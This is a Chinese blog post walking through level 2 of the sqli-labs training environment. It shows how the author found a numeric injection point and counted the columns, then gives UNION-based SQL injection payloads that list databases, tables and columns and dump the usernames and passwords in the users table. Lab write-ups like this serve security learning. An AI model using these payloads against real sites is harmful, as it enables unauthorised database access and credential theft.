sqli-labs-2

打开网站

image

测试注入点和注入类型

?id=1
image

?id=3-2结果与?id=1结果一致
所以该关卡是数值型注入
image

**使用and 1and 0测试注入点 **
1.
image
2.
image

经过上面两个条件的测试,所以id为注入点

测试回显列数和回显信息

回显4列报错,所以回显的列数是3列

image

利用 union select 1,2,3 回显信息

image

利用information_schema数据库获取信息

1. 获取数据库版本、用户名信息、当前数据库等信息

image

2. 获取所有数据库的信息

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata

image

3. 获取security数据库中所有表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"

image

3. 获取users表中的字段

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security"
image

4. 获取users表中的信息

?id=-1 union select 1,2,group_concat(concat(username,'密码为:',password)) from users
image

posted @ 2021-12-17 15:48  oldliutou  阅读(36)  评论(0编辑  收藏  举报